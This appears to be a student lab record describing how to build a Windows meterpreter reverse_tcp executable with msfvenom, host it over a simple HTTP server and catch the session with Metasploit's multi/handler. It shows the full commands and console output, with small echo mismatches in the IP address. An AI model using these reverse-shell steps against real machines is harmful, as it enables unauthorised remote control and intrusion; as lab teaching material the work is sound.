

**Roll no:231901004**

# METASPLOIT

**Aim:**

To set up Metasploit framework and exploit reverse\_tcp in Windows 8 machine remotely.

### Algorithm:

1. Generate payload to be inserted into the remote machine
2. Set the LHOST and it's port number
3. Open msfconsole.
4. Use exploit/multi/handler
5. Establish reverse\_tcp with the remote windows 8 machine.
6. Run SimpleHTTPServer with port number 8000.
7. Open the web browser in Windows 8 machine and type `http://172.16.8.155:8000`
8. In KaliLinux, type `sysinfo` to get the information about Windows 8 machine
9. Create a new directory using `mkdir` command.
- 10.Delete the created directory.

**Output:**

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.8.155
LPORT=443 -f exe > /root/hi.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 341 bytes
Final size of exe file: 73802 bytes
root@kali:~# msfconsole
[-] ***Rting the Metasploit Framework console...
[-] * WARNING: No database support: could not connect to server: Connection refused
      Is the server running on host "localhost" (::1) and accepting
      TCP/IP connections on port 5432?
could not connect to server: Connection refused
      Is the server running on host "localhost" (127.0.0.1) and accepting
      TCP/IP connections on port 5432?
```

**[ - ] \*\*\***

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```
= [ metasploit v5.0.41-dev ]
```

```
+ -- ==[ 1914 exploits - 1074 auxiliary - 330 post      ]
+ -- ==[ 556 payloads - 45 encoders - 10 nops          ]
+ -- ==[ 4 evasion                                     ]
```

```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options
```

Module options (exploit/multi/handler):

Name	Current Setting	Required	Description
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Payload options (windows/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
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EXITFUNC	process	yes	Exit technique (Accepted: ", seh, thread, process, none)
LHOST		yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	----
0	Wildcard Target

```
msf5 exploit(multi/handler) > set LHOST 172.16.8.155
LHOST => 172.16.8.156
msf5 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf5 exploit(multi/handler) > exploit
```

[\*] Started reverse TCP handler on 172.16.8.155:443

## Result:

Thus, the setup of Metasploit framework and exploit reverse\_tcp in Windows 8 machine remotely has been executed successfully.